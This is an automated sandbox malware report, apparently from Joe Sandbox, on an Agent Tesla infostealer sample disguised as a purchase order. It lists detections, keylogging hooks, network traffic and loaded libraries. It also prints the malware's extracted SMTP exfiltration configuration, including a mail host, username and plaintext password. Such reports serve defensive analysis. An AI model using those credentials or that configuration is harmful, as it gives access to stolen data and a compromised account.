schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.triorentacar.ro", "Username": "rezervari@triorentacar.ro", "Password": "trio1289"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Virustotal: Detection: 43%			Perma Link

Multi AV Scanner detection for submitted file

Source: nOrden_de_compra.exe	ReversingLabs: Detection: 63%
Source: nOrden_de_compra.exe	Virustotal: Detection: 43%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: nOrden_de_compra.exe

Joe Sandbox ML: detected

Source: nOrden_de_compra.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 173.231.16.76:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.76:443 -> 192.168.2.6:49706 version: TLS 1.2

Source: nOrden_de_compra.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: rYwr.pdbSHA256$x] source: nOrden_de_compra.exe, nNdsLvHyWi.exe.0.dr
Source:	Binary string: rYwr.pdb source: nOrden_de_compra.exe, nNdsLvHyWi.exe.0.dr

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.6:49703 -> 89.32.46.159:587

Source: Joe Sandbox View	IP Address: 173.231.16.76 173.231.16.76
Source: Joe Sandbox View	IP Address: 173.231.16.76 173.231.16.76

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.6:49703 -> 89.32.46.159:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4543063904.0000000006927000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4527441718.00000000011D5000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4542926780.0000000005E2A000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: nOrden_de_compra.exe, 0000000A.00000002.4527441718.00000000011D5000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4542926780.0000000005E2A000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4543063904.0000000006927000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4527441718.00000000011D5000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4527441718.0000000001140000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4542926780.0000000005E2A000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4543063904.0000000006927000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4527441718.00000000011D5000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: nOrden_de_compra.exe, 0000000A.00000002.4543063904.00000000068E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.triorentacar.ro
Source: nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4543063904.0000000006927000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4527441718.00000000011D5000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4527441718.0000000001140000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4542926780.0000000005E2A000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: nOrden_de_compra.exe, 00000000.00000002.2113140924.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000B.00000002.2146832318.00000000027FF000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000028B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://triorentacar.ro
Source: nNdsLvHyWi.exe, 0000000F.00000002.4542926780.0000000005E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.8
Source: nOrden_de_compra.exe, 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: nOrden_de_compra.exe, 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000028B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000028B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000028B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002EEC000.00000004.00000800.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4543063904.0000000006927000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4527441718.00000000011D5000.00000004.00000020.00020000.00000000.sdmp, nOrden_de_compra.exe, 0000000A.00000002.4531607343.0000000002F7D000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.0000000002927000.00000004.00000800.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp, nNdsLvHyWi.exe, 0000000F.00000002.4531554199.00000000029BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	HTTPS traffic detected: 173.231.16.76:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.76:443 -> 192.168.2.6:49706 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, K6jmfEUYzg.cs

.Net Code: vjB

Installs a global keyboard hook

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\nOrden_de_compra.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.nOrden_de_compra.exe.3fb4308.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.nNdsLvHyWi.exe.3a78c38.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.nOrden_de_compra.exe.3f77ae8.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.nNdsLvHyWi.exe.3ab5458.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.nNdsLvHyWi.exe.3ab5458.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.nNdsLvHyWi.exe.3a78c38.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_050ED57C	0_2_050ED57C
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071EA790	0_2_071EA790
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E4710	0_2_071E4710
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E46FF	0_2_071E46FF
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E2C00	0_2_071E2C00
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071EB438	0_2_071EB438
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E3470	0_2_071E3470
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E3460	0_2_071E3460
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E3038	0_2_071E3038
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E3028	0_2_071E3028
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E50C0	0_2_071E50C0
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_0722E500	0_2_0722E500
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_07222106	0_2_07222106
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_07225728	0_2_07225728
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_07225718	0_2_07225718
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_072233E0	0_2_072233E0
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_0722E9A8	0_2_0722E9A8
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_07223DE0	0_2_07223DE0
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_07223DD1	0_2_07223DD1
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_07222C38	0_2_07222C38
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_07224070	0_2_07224070
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_07224080	0_2_07224080
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_02CD4AA0	10_2_02CD4AA0
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_02CD3E88	10_2_02CD3E88
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_02CD41D0	10_2_02CD41D0
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_02CDA980	10_2_02CDA980
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B86628	10_2_06B86628
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B855E0	10_2_06B855E0
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B87DD8	10_2_06B87DD8
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B8B288	10_2_06B8B288
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B83090	10_2_06B83090
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B8C1F0	10_2_06B8C1F0
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B876E0	10_2_06B876E0
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B8E418	10_2_06B8E418
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B85D13	10_2_06B85D13
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B82340	10_2_06B82340
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B80040	10_2_06B80040
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_06B80006	10_2_06B80006
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_00F9D57C	11_2_00F9D57C
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD9F43	11_2_06CD9F43
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD470B	11_2_06CD470B
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD4710	11_2_06CD4710
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD346B	11_2_06CD346B
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD3470	11_2_06CD3470
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD50C0	11_2_06CD50C0
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD3038	11_2_06CD3038
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD3037	11_2_06CD3037
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD2C00	11_2_06CD2C00
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDABF8	11_2_06CDABF8
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06D1E500	11_2_06D1E500
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06D12106	11_2_06D12106
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06D15718	11_2_06D15718
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06D12C38	11_2_06D12C38
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06D13DD0	11_2_06D13DD0
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06D13DE0	11_2_06D13DE0
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06D1E9A8	11_2_06D1E9A8
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06D14080	11_2_06D14080
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_00DEE779	15_2_00DEE779
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_00DE4AA0	15_2_00DE4AA0
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_00DE3E88	15_2_00DE3E88
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_00DE41D0	15_2_00DE41D0
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_00DEA980	15_2_00DEA980
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B6628	15_2_065B6628
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B7DD8	15_2_065B7DD8
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B55E0	15_2_065B55E0
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065BB288	15_2_065BB288
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B3090	15_2_065B3090
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065BC1F0	15_2_065BC1F0
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B76E0	15_2_065B76E0
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065BE418	15_2_065BE418
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B5D13	15_2_065B5D13
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B2340	15_2_065B2340
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B0040	15_2_065B0040
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B02BF	15_2_065B02BF
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 15_2_065B0006	15_2_065B0006

Source: nOrden_de_compra.exe, 00000000.00000002.2116890255.0000000007E10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe, 00000000.00000002.2116574097.00000000071A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameGamma.dll8 vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe, 00000000.00000002.2116474951.0000000007160000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameattendant.dll> vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe, 00000000.00000002.2113140924.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7d4a0f17-02c7-4030-b32d-7d2fecfc51d2.exe4 vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe, 00000000.00000002.2112238223.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe, 00000000.00000002.2113140924.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameGamma.dll8 vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe, 00000000.00000002.2114084999.0000000003CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameattendant.dll> vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe, 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7d4a0f17-02c7-4030-b32d-7d2fecfc51d2.exe4 vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe, 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe, 0000000A.00000002.4527068607.0000000000F59000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs nOrden_de_compra.exe
Source: nOrden_de_compra.exe	Binary or memory string: OriginalFilenamerYwr.exe4 vs nOrden_de_compra.exe

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
